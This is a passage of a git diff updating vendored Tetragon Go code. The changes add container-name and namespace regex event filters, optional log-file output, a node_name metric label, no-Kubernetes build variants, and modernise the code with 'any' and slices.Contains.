DefaultProcessCacheGCInterval = 30 * time.Second + + // defaults for the {k,u}retprobes lru cache + DefaultRetprobesCacheSize = 4096 + + // DefaultMaxGRPCRecvMsgSize is the default maximum gRPC receive message + // size for the tetra CLI (10MB). + DefaultMaxGRPCRecvMsgSize = 10 * 1024 * 1024 ) var ( diff --git a/vendor/github.com/cilium/tetragon/pkg/defaults/defaults_windows.go b/vendor/github.com/cilium/tetragon/pkg/defaults/defaults_windows.go index e0c4fada..5a3bb8f7 100644 --- a/vendor/github.com/cilium/tetragon/pkg/defaults/defaults_windows.go +++ b/vendor/github.com/cilium/tetragon/pkg/defaults/defaults_windows.go @@ -33,6 +33,10 @@ const ( // Used by both client cli to guess unix socket address and by bugtool InitInfoFile = DefaultRunDir + "tetragon-info.json" + // BugtoolExtraFiles is the file location for extra files to include in bugtool archives. + // Written by the daemon at startup, read by the CLI at bugtool time. + BugtoolExtraFiles = DefaultRunDir + "tetragon-bugtool-extra-files.json" + // Default directory from where to load tracing policies. DefaultTpDir = DefaultRunDir + "tetragon.tp.d" @@ -48,4 +52,11 @@ const ( // defaults for the process cache DefaultProcessCacheGCInterval = 30 * time.Second + + // defaults for the {k,u}retprobes lru cache + DefaultRetprobesCacheSize = 4096 + + // DefaultMaxGRPCRecvMsgSize is the default maximum gRPC receive message + // size for the tetra CLI (10MB). + DefaultMaxGRPCRecvMsgSize = 10 * 1024 * 1024 ) diff --git a/vendor/github.com/cilium/tetragon/pkg/event/event.go b/vendor/github.com/cilium/tetragon/pkg/event/event.go index 4ad2dcd5..e2a3db3d 100644 --- a/vendor/github.com/cilium/tetragon/pkg/event/event.go +++ b/vendor/github.com/cilium/tetragon/pkg/event/event.go @@ -12,5 +12,5 @@ type Event struct { // Timestamp when event was observed in Hubble Timestamp *timestamppb.Timestamp // Event contains the actual event - Event interface{} + Event any } diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/caps.go b/vendor/github.com/cilium/tetragon/pkg/filters/caps.go index 1c025e5f..b5cfa2c4 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/caps.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/caps.go @@ -9,11 +9,12 @@ import ( "fmt" "strings" + mapset "github.com/deckarep/golang-set/v2" + "google.golang.org/protobuf/reflect/protoreflect" + "github.com/cilium/tetragon/api/v1/tetragon" "github.com/cilium/tetragon/pkg/event" "github.com/cilium/tetragon/pkg/option" - mapset "github.com/deckarep/golang-set/v2" - "google.golang.org/protobuf/reflect/protoreflect" ) func filterSingleCapSet(caps []tetragon.CapabilitiesType, filters *tetragon.CapFilterSet) bool { @@ -68,7 +69,7 @@ func filterByCaps(filter *tetragon.CapFilter) (FilterFunc, error) { type CapsFilter struct{} -func ensure_single_set_defined(filter *tetragon.CapFilterSet) error { +func ensureSingleSetDefined(filter *tetragon.CapFilterSet) error { if filter == nil { return nil } @@ -97,13 +98,13 @@ func (f *CapsFilter) OnBuildFilter(_ context.Context, ff *tetragon.Filter) ([]Fi return nil, errors.New("capabilities are not enabled in process events, cannot configure capability filter") } - if err := ensure_single_set_defined(ff.Capabilities.Permitted); err != nil { + if err := ensureSingleSetDefined(ff.Capabilities.Permitted); err != nil { return nil, err } - if err := ensure_single_set_defined(ff.Capabilities.Effective); err != nil { + if err := ensureSingleSetDefined(ff.Capabilities.Effective); err != nil { return nil, err } - if err := ensure_single_set_defined(ff.Capabilities.Inheritable); err != nil { + if err := ensureSingleSetDefined(ff.Capabilities.Inheritable); err != nil { return nil, err } diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/cel_expression.go b/vendor/github.com/cilium/tetragon/pkg/filters/cel_expression.go index f1c9d038..9f2efda5 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/cel_expression.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/cel_expression.go @@ -10,13 +10,14 @@ import ( "reflect" "slices" + "github.com/google/cel-go/cel" + celk8s "k8s.io/apiserver/pkg/cel/library" + "github.com/cilium/tetragon/api/v1/tetragon" "github.com/cilium/tetragon/api/v1/tetragon/codegen/helpers" "github.com/cilium/tetragon/pkg/event" "github.com/cilium/tetragon/pkg/logger" "github.com/cilium/tetragon/pkg/logger/logfields" - "github.com/google/cel-go/cel" - celk8s "k8s.io/apiserver/pkg/cel/library" ) // compile will parse and check an expression `expr` against a given @@ -49,7 +50,7 @@ func EvalCEL(ctx context.Context, program cel.Program, eventMap map[string]any) if err != nil { return false, fmt.Errorf("error running CEL program: %w", err) } - v, err := out.ConvertToNative(reflect.TypeOf(false)) + v, err := out.ConvertToNative(reflect.TypeFor[bool]()) if err != nil { return false, fmt.Errorf("invalid conversion in CEL program: %w", err) } diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/container.go b/vendor/github.com/cilium/tetragon/pkg/filters/container.go index e907f777..c567b1fd 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/container.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/container.go @@ -71,3 +71,47 @@ func (f *InInitTreeFilter) OnBuildFilter(_ context.Context, ff *tetragon.Filter) } return fs, nil } + +func filterByContainerName(namePatterns []string) (FilterFunc, error) { + var names []*regexp.Regexp + for _, pattern := range namePatterns { + query, err := regexp.Compile(pattern) + if err != nil { + return nil, fmt.Errorf("failed to compile regexp: %w", err) + } + names = append(names, query) + } + + return func(ev *event.Event) bool { + process := GetProcess(ev) + if process == nil { + return false + } + if process.Pod == nil { + return false + } + if process.Pod.Container == nil { + return false + } + for _, name := range names { + if name.MatchString(process.Pod.Container.Name) { + return true + } + } + return false + }, nil +} + +type ContainerNameFilter struct{} + +func (f *ContainerNameFilter) OnBuildFilter(_ context.Context, ff *tetragon.Filter) ([]FilterFunc, error) { + var fs []FilterFunc + if ff.ContainerNameRegex != nil { + filters, err := filterByContainerName(ff.ContainerNameRegex) + if err != nil { + return nil, err + } + fs = append(fs, filters) + } + return fs, nil +} diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/eventType.go b/vendor/github.com/cilium/tetragon/pkg/filters/eventType.go index c2c1fd03..9ff74ea4 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/eventType.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/eventType.go @@ -5,10 +5,12 @@ package filters import ( "context" + "slices" + + "google.golang.org/protobuf/reflect/protoreflect" "github.com/cilium/tetragon/api/v1/tetragon" pkgEvent "github.com/cilium/tetragon/pkg/event" - "google.golang.org/protobuf/reflect/protoreflect" ) func filterByEventType(types []tetragon.EventType) FilterFunc { @@ -27,10 +29,8 @@ func filterByEventType(types []tetragon.EventType) FilterFunc { return false }) - for _, t := range types { - if t == eventProtoNum { - return true - } + if slices.Contains(types, eventProtoNum) { + return true } } return false diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/filters.go b/vendor/github.com/cilium/tetragon/pkg/filters/filters.go index d2645341..ed627f6f 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/filters.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/filters.go @@ -139,6 +139,7 @@ var Filters = []OnBuildFilter{ &AncestorBinaryRegexFilter{}, &HealthCheckFilter{}, &NamespaceFilter{}, + &NamespaceRegexFilter{}, &PidFilter{}, &PidSetFilter{}, &EventTypeFilter{}, @@ -151,6 +152,7 @@ var Filters = []OnBuildFilter{ &ContainerIDFilter{}, &InInitTreeFilter{}, NewCELExpressionFilter(logger.GetLogger()), + &ContainerNameFilter{}, } func GetProcess(event *event.Event) *tetragon.Process { @@ -218,8 +220,10 @@ func CheckAncestorsEnabled(types []tetragon.EventType) error { tetragon.EventType_PROCESS_EXIT, tetragon.EventType_PROCESS_KPROBE, tetragon.EventType_PROCESS_TRACEPOINT, + tetragon.EventType_PROCESS_LOADER, tetragon.EventType_PROCESS_UPROBE, tetragon.EventType_PROCESS_LSM, + tetragon.EventType_PROCESS_USDT, } } diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/health_check.go b/vendor/github.com/cilium/tetragon/pkg/filters/health_check.go index 35a10e74..4c9b7973 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/health_check.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/health_check.go @@ -7,9 +7,10 @@ import ( "context" "path" + shell "github.com/kballard/go-shellquote" + "github.com/cilium/tetragon/api/v1/tetragon" "github.com/cilium/tetragon/pkg/event" - shell "github.com/kballard/go-shellquote" ) func MaybeExecProbe(binary string, args string, execProbe []string) bool { diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/labels.go b/vendor/github.com/cilium/tetragon/pkg/filters/labels.go index b82ed752..98bf8cb7 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/labels.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/labels.go @@ -1,6 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 // Copyright Authors of Tetragon +//go:build !nok8s + package filters import ( diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/namespace_regex.go b/vendor/github.com/cilium/tetragon/pkg/filters/namespace_regex.go new file mode 100644 index 00000000..1fffcaa7 --- /dev/null +++ b/vendor/github.com/cilium/tetragon/pkg/filters/namespace_regex.go @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Tetragon + +package filters + +import ( + "context" + "fmt" + "regexp" + + "github.com/cilium/tetragon/api/v1/tetragon" + "github.com/cilium/tetragon/pkg/event" +) + +func filterByNamespaceRegex(namespacePatterns []string) (FilterFunc, error) { + var namespaces []*regexp.Regexp + for _, pattern := range namespacePatterns { + query, err := regexp.Compile(pattern) + if err != nil { + return nil, fmt.Errorf("failed to compile regexp: %w", err) + } + namespaces = append(namespaces, query) + } + return func(ev *event.Event) bool { + process := GetProcess(ev) + if process == nil { + return false + } + if process.Pod == nil { + return false + } + for _, ns := range namespaces { + if ns.MatchString(process.Pod.Namespace) { + return true + } + } + return false + }, nil +} + +type NamespaceRegexFilter struct{} + +func (f *NamespaceRegexFilter) OnBuildFilter(_ context.Context, ff *tetragon.Filter) ([]FilterFunc, error) { + var fs []FilterFunc + if ff.NamespaceRegex != nil { + filters, err := filterByNamespaceRegex(ff.NamespaceRegex) + if err != nil { + return nil, err + } + fs = append(fs, filters) + } + return fs, nil +} diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/nok8s.go b/vendor/github.com/cilium/tetragon/pkg/filters/nok8s.go new file mode 100644 index 00000000..f9020d09 --- /dev/null +++ b/vendor/github.com/cilium/tetragon/pkg/filters/nok8s.go @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Tetragon + +//go:build nok8s + +package filters + +import ( + "context" + + "github.com/cilium/tetragon/api/v1/tetragon" +) + +type LabelsFilter struct{} + +func (l *LabelsFilter) OnBuildFilter(_ context.Context, _ *tetragon.Filter) ([]FilterFunc, error) { + return nil, nil +} diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/pid.go b/vendor/github.com/cilium/tetragon/pkg/filters/pid.go index 13503250..32e875a8 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/pid.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/pid.go @@ -5,6 +5,7 @@ package filters import ( "context" + "slices" "github.com/cilium/tetragon/api/v1/tetragon" "github.com/cilium/tetragon/pkg/event" @@ -16,12 +17,7 @@ func filterByPid(pids []uint32) FilterFunc { if process == nil { return false } - for _, pid := range pids { - if pid == process.Pid.GetValue() { - return true - } - } - return false + return slices.Contains(pids, process.Pid.GetValue()) } } diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/pidSet.go b/vendor/github.com/cilium/tetragon/pkg/filters/pidSet.go index dce4d083..c634e3e0 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/pidSet.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/pidSet.go @@ -6,6 +6,7 @@ package filters import ( "context" "fmt" + "slices" "github.com/cilium/tetragon/api/v1/tetragon" "github.com/cilium/tetragon/pkg/event" @@ -23,10 +24,8 @@ func checkPidSetMembership(pid uint32, pidSet []uint32, childCache ChildCache) b // Check the original pidSet. The reason for doing this separately is that we never // want to drop the original pidSet from the cache. Keeping this separately in a slice // is an easy way to achieve this. - for _, p := range pidSet { - if pid == p { - return true - } + if slices.Contains(pidSet, pid) { + return true } // Fall back to childCache to check children. _, ok := childCache[pid] diff --git a/vendor/github.com/cilium/tetragon/pkg/filters/policies.go b/vendor/github.com/cilium/tetragon/pkg/filters/policies.go index 302d5151..e415cb58 100644 --- a/vendor/github.com/cilium/tetragon/pkg/filters/policies.go +++ b/vendor/github.com/cilium/tetragon/pkg/filters/policies.go @@ -5,6 +5,7 @@ package filters import ( "context" + "slices" "github.com/cilium/tetragon/api/v1/tetragon" "github.com/cilium/tetragon/pkg/event" @@ -18,12 +19,7 @@ func filterByPolicyName(values []string) FilterFunc { if policyName == "" { return false } - for _, v := range values { - if policyName == v { - return true - } - } - return false + return slices.Contains(values, policyName) } } diff --git a/vendor/github.com/cilium/tetragon/pkg/logger/debuglogger.go b/vendor/github.com/cilium/tetragon/pkg/logger/debuglogger.go index 157c15dc..9a7999ad 100644 --- a/vendor/github.com/cilium/tetragon/pkg/logger/debuglogger.go +++ b/vendor/github.com/cilium/tetragon/pkg/logger/debuglogger.go @@ -53,7 +53,7 @@ func (d *DebugLogger) DebugLogWithCallers(nCallers int) FieldLogger { return log } -func (d *DebugLogger) Debug(msg string, args ...interface{}) { +func (d *DebugLogger) Debug(msg string, args ...any) { if d.debugEnabled { d.logger.Info(msg, args...) } else { @@ -61,7 +61,7 @@ func (d *DebugLogger) Debug(msg string, args ...interface{}) { } } -func (d *DebugLogger) Debugf(format string, args ...interface{}) { +func (d *DebugLogger) Debugf(format string, args ...any) { if d.debugEnabled { d.logger.Info(fmt.Sprintf(format, args...)) } else { diff --git a/vendor/github.com/cilium/tetragon/pkg/logger/klog_bridge.go b/vendor/github.com/cilium/tetragon/pkg/logger/klog_bridge.go index 5fbf6d97..72c57fb6 100644 --- a/vendor/github.com/cilium/tetragon/pkg/logger/klog_bridge.go +++ b/vendor/github.com/cilium/tetragon/pkg/logger/klog_bridge.go @@ -1,6 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 // Copyright Authors of Tetragon +//go:build !nok8s + package logger import ( @@ -12,8 +14,9 @@ import ( "regexp" "strings" - "github.com/cilium/tetragon/pkg/logger/logfields" "k8s.io/klog/v2" + + "github.com/cilium/tetragon/pkg/logger/logfields" ) var klogErrorOverrides = []logLevelOverride{ diff --git a/vendor/github.com/cilium/tetragon/pkg/logger/log.go b/vendor/github.com/cilium/tetragon/pkg/logger/log.go index fa988a53..b35525ed 100644 --- a/vendor/github.com/cilium/tetragon/pkg/logger/log.go +++ b/vendor/github.com/cilium/tetragon/pkg/logger/log.go @@ -19,6 +19,7 @@ type LogFormat string const ( LevelOpt = "level" FormatOpt = "format" + FileOpt = "file" logFormatText LogFormat = "text" logFormatTextTimestamp LogFormat = "text-ts" @@ -76,6 +77,10 @@ func (o LogOptions) GetLogFormat() LogFormat { return LogFormat(formatOpt) } +func (o LogOptions) GetLogFile() string { + return o[FileOpt] +} + // SetLogLevel updates the DefaultLogger with a new slog.Level func SetLogLevel(logLevel slog.Level) { slogLeveler.Set(logLevel) @@ -92,7 +97,7 @@ func SetLogLevelToDebug() { } // PopulateLogOpts populates the logger options making sure that passed values are valid. -func PopulateLogOpts(o LogOptions, level string, format string) { +func PopulateLogOpts(o LogOptions, level, format, file string) { if level != "" { o[LevelOpt] = level } @@ -100,12 +105,16 @@ func PopulateLogOpts(o LogOptions, level string, format string) { if format != "" { format = strings.ToLower(format) switch LogFormat(format) { - case logFormatText, logFormatJSON: + case logFormatText, logFormatTextTimestamp, logFormatJSON, logFormatJSONTimestamp: o[FormatOpt] = format default: o[FormatOpt] = string(logFormatText) } } + + if file != "" { + o[FileOpt] = file + } } // SetupLogging setup logger options taking into consideration the debug flag. diff --git a/vendor/github.com/cilium/tetragon/pkg/logger/nok8s.go b/vendor/github.com/cilium/tetragon/pkg/logger/nok8s.go new file mode 100644 index 00000000..eaa10bef --- /dev/null +++ b/vendor/github.com/cilium/tetragon/pkg/logger/nok8s.go @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Tetragon + +//go:build nok8s + +package logger + +import ( + "log/slog" +) + +func initializeKLog(logger *slog.Logger) error { + return nil +} diff --git a/vendor/github.com/cilium/tetragon/pkg/logger/slog.go b/vendor/github.com/cilium/tetragon/pkg/logger/slog.go index b7802a9b..2c1efe0a 100644 --- a/vendor/github.com/cilium/tetragon/pkg/logger/slog.go +++ b/vendor/github.com/cilium/tetragon/pkg/logger/slog.go @@ -5,14 +5,16 @@ package logger import ( "context" + "io" "log/slog" "os" "strings" "sync/atomic" "time" - "github.com/cilium/tetragon/pkg/logger/logfields" "github.com/go-logr/logr" + + "github.com/cilium/tetragon/pkg/logger/logfields" ) // logrErrorKey is the key used by the logr library for the error parameter. @@ -50,9 +52,10 @@ var slogLeveler = func() *slog.LevelVar { // phase. func initializeSlog(logOpts LogOptions, useStdout bool) { opts := *slogHandlerOpts - opts.Level = logOpts.GetLogLevel() + lv := logOpts.GetLogLevel() + SetLogLevel(lv) - if opts.Level == slog.LevelDebug { + if lv == slog.LevelDebug { opts.AddSource = true } @@ -64,23 +67,32 @@ func initializeSlog(logOpts LogOptions, useStdout bool) { opts.ReplaceAttr = replaceAttrFn } - writer := os.Stderr + var writers []io.Writer if useStdout { - writer = os.Stdout + writers = append(writers, os.Stdout) + } else { + writers = append(writers, os.Stderr) } + // If a log-file is requested, setup a multi logger + if logFile := logOpts.GetLogFile(); logFile != "" { + logWriter, err := os.Create(logFile) + if err != nil { + DefaultSlogLogger.Warn("Failed to open log file, skipping", "file", logFile, "err", err) + } else { + writers = append(writers, logWriter) + } + } + var newDefaultLogger = DefaultSlogLogger switch logFormat { case logFormatJSON, logFormatJSONTimestamp: - DefaultSlogLogger = slog.New(slog.NewJSONHandler( - writer, - &opts, - )) + newDefaultLogger = slog.New(slog.NewJSONHandler(io.MultiWriter(writers...), &opts)) case logFormatText, logFormatTextTimestamp: - DefaultSlogLogger = slog.New(slog.NewTextHandler( - writer, - &opts, - )) + newDefaultLogger = slog.New(slog.NewTextHandler(io.MultiWriter(writers...), &opts)) } + + // update in place so package-level cached logger pointers pick up the new config + *DefaultSlogLogger = *newDefaultLogger } func replaceAttrFn(_ []string, a slog.Attr) slog.Attr { @@ -152,8 +164,7 @@ type FieldLogger interface { func init() { // Set a no-op exit handler to avoid nil dereference - a := func() {} - exitHandler.Store(&a) + exitHandler.Store(new(func() {})) } var ( diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/consts/consts.go b/vendor/github.com/cilium/tetragon/pkg/metrics/consts/consts.go index ac56dbd3..aa486bb6 100644 --- a/vendor/github.com/cilium/tetragon/pkg/metrics/consts/consts.go +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/consts/consts.go @@ -13,5 +13,6 @@ var ( ExampleWorkload = "example-workload" ExamplePod = "example-pod" ExampleBinary = "example-binary" - ExampleProcessLabels = []string{ExampleNamespace, ExampleWorkload, ExamplePod, ExampleBinary} + ExampleNodeName = "example-node-name" + ExampleProcessLabels = []string{ExampleNamespace, ExampleWorkload, ExamplePod, ExampleBinary, ExampleNodeName} ) diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/counter.go b/vendor/github.com/cilium/tetragon/pkg/metrics/counter.go index 12ad4018..528ab398 100644 --- a/vendor/github.com/cilium/tetragon/pkg/metrics/counter.go +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/counter.go @@ -9,32 +9,6 @@ import ( type initCounterFunc func(*prometheus.CounterVec) -// NewCounterVecWithPod is a wrapper around prometheus.NewCounterVec that also -// registers the metric to be cleaned up when a pod is deleted. -// -// It should be used only to register metrics that have "pod" and "namespace" -// labels. Using it for metrics without these labels won't break anything, but -// might add an unnecessary overhead. -func NewCounterVecWithPod(opts prometheus.CounterOpts, labels []string) *prometheus.CounterVec { - metric := prometheus.NewCounterVec(opts, labels) - metricsWithPodMutex.Lock() - metricsWithPod = append(metricsWithPod, metric.MetricVec) - metricsWithPodMutex.Unlock() - return metric -} - -// NewCounterVecWithPodV2 is a wrapper around prometheus.V2.NewCounterVec that also -// registers the metric to be cleaned up when a pod is deleted. -// -// See NewCounterVecWithPod for usage notes. -func NewCounterVecWithPodV2(opts prometheus.CounterVecOpts) *prometheus.CounterVec { - metric := prometheus.V2.NewCounterVec(opts) - metricsWithPodMutex.Lock() - metricsWithPod = append(metricsWithPod, metric.MetricVec) - metricsWithPodMutex.Unlock() - return metric -} - // GranularCounter wraps prometheus.CounterVec and implements CollectorWithInit. type GranularCounter[L FilteredLabels] struct { metric *prometheus.CounterVec diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/filteredlabels.go b/vendor/github.com/cilium/tetragon/pkg/metrics/filteredlabels.go index 8c37b190..85e647c7 100644 --- a/vendor/github.com/cilium/tetragon/pkg/metrics/filteredlabels.go +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/filteredlabels.go @@ -29,23 +29,25 @@ type ProcessLabels struct { Workload string Pod string Binary string + NodeName string } -func NewProcessLabels(namespace, workload, pod, binary string) *ProcessLabels { +func NewProcessLabels(namespace, workload, pod, binary, nodeName string) *ProcessLabels { return &ProcessLabels{ Namespace: namespace, Workload: workload, Pod: pod, Binary: binary, + NodeName: nodeName, } } func (l ProcessLabels) Keys() []string { - return []string{"namespace", "workload", "pod", "binary"} + return []string{"namespace", "workload", "pod", "binary", "node_name"} } func (l ProcessLabels) Values() []string { - return []string{l.Namespace, l.Workload, l.Pod, l.Binary} + return []string{l.Namespace, l.Workload, l.Pod, l.Binary, l.NodeName} } func (l ProcessLabels) Example() FilteredLabels { @@ -53,5 +55,6 @@ func (l ProcessLabels) Example() FilteredLabels { l.Workload = consts.ExampleWorkload l.Pod = consts.ExamplePod l.Binary = consts.ExampleBinary + l.NodeName = consts.ExampleNodeName return l } diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/gauge.go b/vendor/github.com/cilium/tetragon/pkg/metrics/gauge.go index 69dff54e..e142d2b3 100644 --- a/vendor/github.com/cilium/tetragon/pkg/metrics/gauge.go +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/gauge.go @@ -9,30 +9,6 @@ import ( type initGaugeFunc func(*prometheus.GaugeVec) -// NewGaugeVecWithPod is a wrapper around prometheus.NewGaugeVec that also -// registers the metric to be cleaned up when a pod is deleted. -// -// See NewCounterVecWithPod for usage notes. -func NewGaugeVecWithPod(opts prometheus.GaugeOpts, labels []string) *prometheus.GaugeVec { - metric := prometheus.NewGaugeVec(opts, labels) - metricsWithPodMutex.Lock() - metricsWithPod = append(metricsWithPod, metric.MetricVec) - metricsWithPodMutex.Unlock() - return metric -} - -// NewGaugeVecWithPodV2 is a wrapper around prometheus.V2.NewGaugeVec that also -// registers the metric to be cleaned up when a pod is deleted. -// -// See NewCounterVecWithPod for usage notes. -func NewGaugeVecWithPodV2(opts prometheus.GaugeVecOpts) *prometheus.GaugeVec { - metric := prometheus.V2.NewGaugeVec(opts) - metricsWithPodMutex.Lock() - metricsWithPod = append(metricsWithPod, metric.MetricVec) - metricsWithPodMutex.Unlock() - return metric -} - // GranularGauge wraps prometheus.GaugeVec and implements CollectorWithInit. type GranularGauge[L FilteredLabels] struct { metric *prometheus.GaugeVec diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/histogram.go b/vendor/github.com/cilium/tetragon/pkg/metrics/histogram.go index 00c0623e..0a89e272 100644 --- a/vendor/github.com/cilium/tetragon/pkg/metrics/histogram.go +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/histogram.go @@ -9,30 +9,6 @@ import ( type initHistogramFunc func(*prometheus.HistogramVec) -// NewHistogramVecWithPod is a wrapper around prometheus.NewHistogramVec that also -// registers the metric to be cleaned up when a pod is deleted. -// -// See NewCounterVecWithPod for usage notes. -func NewHistogramVecWithPod(opts prometheus.HistogramOpts, labels []string) *prometheus.HistogramVec { - metric := prometheus.NewHistogramVec(opts, labels) - metricsWithPodMutex.Lock() - metricsWithPod = append(metricsWithPod, metric.MetricVec) - metricsWithPodMutex.Unlock() - return metric -} - -// NewHistogramVecWithPodV2 is a wrapper around prometheus.V2.NewHistogramVec that also -// registers the metric to be cleaned up when a pod is deleted. -// -// See NewCounterVecWithPod for usage notes. -func NewHistogramVecWithPodV2(opts prometheus.HistogramVecOpts) *prometheus.HistogramVec { - metric := prometheus.V2.NewHistogramVec(opts) - metricsWithPodMutex.Lock() - metricsWithPod = append(metricsWithPod, metric.MetricVec) - metricsWithPodMutex.Unlock() - return metric -} - // GranularHistogram wraps prometheus.HistogramVec and implements CollectorWithInit. type GranularHistogram[L FilteredLabels] struct { metric *prometheus.HistogramVec diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/labels.go b/vendor/github.com/cilium/tetragon/pkg/metrics/labels.go index 8e5dfb8f..2ad3e05a 100644 --- a/vendor/github.com/cilium/tetragon/pkg/metrics/labels.go +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/labels.go @@ -6,9 +6,10 @@ package metrics import ( "strconv" + "github.com/prometheus/client_golang/prometheus" + "github.com/cilium/tetragon/api/v1/tetragon" "github.com/cilium/tetragon/pkg/api/ops" - "github.com/prometheus/client_golang/prometheus" ) var ( diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/metricwithpod.go b/vendor/github.com/cilium/tetragon/pkg/metrics/metricwithpod.go index d8617289..1350a6a4 100644 --- a/vendor/github.com/cilium/tetragon/pkg/metrics/metricwithpod.go +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/metricwithpod.go @@ -1,18 +1,21 @@ // SPDX-License-Identifier: Apache-2.0 // Copyright Authors of Tetragon +//go:build !nok8s + package metrics import ( "sync" "time" - "github.com/cilium/tetragon/pkg/logger" - "github.com/cilium/tetragon/pkg/podhooks" "github.com/prometheus/client_golang/prometheus" corev1 "k8s.io/api/core/v1" "k8s.io/client-go/tools/cache" "k8s.io/client-go/util/workqueue" + + "github.com/cilium/tetragon/pkg/logger" + "github.com/cilium/tetragon/pkg/podhooks" ) var ( @@ -33,7 +36,7 @@ func RegisterPodDeleteHandler() { PodCallbacks: func(podInformer cache.SharedIndexInformer) { podInformer.AddEventHandler( cache.ResourceEventHandlerFuncs{ - DeleteFunc: func(obj interface{}) { + DeleteFunc: func(obj any) { var pod *corev1.Pod switch concreteObj := obj.(type) { case *corev1.Pod: @@ -91,3 +94,77 @@ func StartPodDeleteHandler() { queue.Done(pod) } } + +// NewCounterVecWithPod is a wrapper around prometheus.NewCounterVec that also +// registers the metric to be cleaned up when a pod is deleted. +// +// It should be used only to register metrics that have "pod" and "namespace" +// labels. Using it for metrics without these labels won't break anything, but +// might add an unnecessary overhead. +func NewCounterVecWithPod(opts prometheus.CounterOpts, labels []string) *prometheus.CounterVec { + metric := prometheus.NewCounterVec(opts, labels) + metricsWithPodMutex.Lock() + metricsWithPod = append(metricsWithPod, metric.MetricVec) + metricsWithPodMutex.Unlock() + return metric +} + +// NewCounterVecWithPodV2 is a wrapper around prometheus.V2.NewCounterVec that also +// registers the metric to be cleaned up when a pod is deleted. +// +// See NewCounterVecWithPod for usage notes. +func NewCounterVecWithPodV2(opts prometheus.CounterVecOpts) *prometheus.CounterVec { + metric := prometheus.V2.NewCounterVec(opts) + metricsWithPodMutex.Lock() + metricsWithPod = append(metricsWithPod, metric.MetricVec) + metricsWithPodMutex.Unlock() + return metric +} + +// NewGaugeVecWithPod is a wrapper around prometheus.NewGaugeVec that also +// registers the metric to be cleaned up when a pod is deleted. +// +// See NewCounterVecWithPod for usage notes. +func NewGaugeVecWithPod(opts prometheus.GaugeOpts, labels []string) *prometheus.GaugeVec { + metric := prometheus.NewGaugeVec(opts, labels) + metricsWithPodMutex.Lock() + metricsWithPod = append(metricsWithPod, metric.MetricVec) + metricsWithPodMutex.Unlock() + return metric +} + +// NewGaugeVecWithPodV2 is a wrapper around prometheus.V2.NewGaugeVec that also +// registers the metric to be cleaned up when a pod is deleted. +// +// See NewCounterVecWithPod for usage notes. +func NewGaugeVecWithPodV2(opts prometheus.GaugeVecOpts) *prometheus.GaugeVec { + metric := prometheus.V2.NewGaugeVec(opts) + metricsWithPodMutex.Lock() + metricsWithPod = append(metricsWithPod, metric.MetricVec) + metricsWithPodMutex.Unlock() + return metric +} + +// NewHistogramVecWithPod is a wrapper around prometheus.NewHistogramVec that also +// registers the metric to be cleaned up when a pod is deleted. +// +// See NewCounterVecWithPod for usage notes. +func NewHistogramVecWithPod(opts prometheus.HistogramOpts, labels []string) *prometheus.HistogramVec { + metric := prometheus.NewHistogramVec(opts, labels) + metricsWithPodMutex.Lock() + metricsWithPod = append(metricsWithPod, metric.MetricVec) + metricsWithPodMutex.Unlock() + return metric +} + +// NewHistogramVecWithPodV2 is a wrapper around prometheus.V2.NewHistogramVec that also +// registers the metric to be cleaned up when a pod is deleted. +// +// See NewCounterVecWithPod for usage notes. +func NewHistogramVecWithPodV2(opts prometheus.HistogramVecOpts) *prometheus.HistogramVec { + metric := prometheus.V2.NewHistogramVec(opts) + metricsWithPodMutex.Lock() + metricsWithPod = append(metricsWithPod, metric.MetricVec) + metricsWithPodMutex.Unlock() + return metric +} diff --git a/vendor/github.com/cilium/tetragon/pkg/metrics/nok8s.go b/vendor/github.com/cilium/tetragon/pkg/metrics/nok8s.go new file mode 100644 index 00000000..11d55a9c --- /dev/null +++ b/vendor/github.com/cilium/tetragon/pkg/metrics/nok8s.go @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Tetragon + +//go:build nok8s + +package metrics + +import 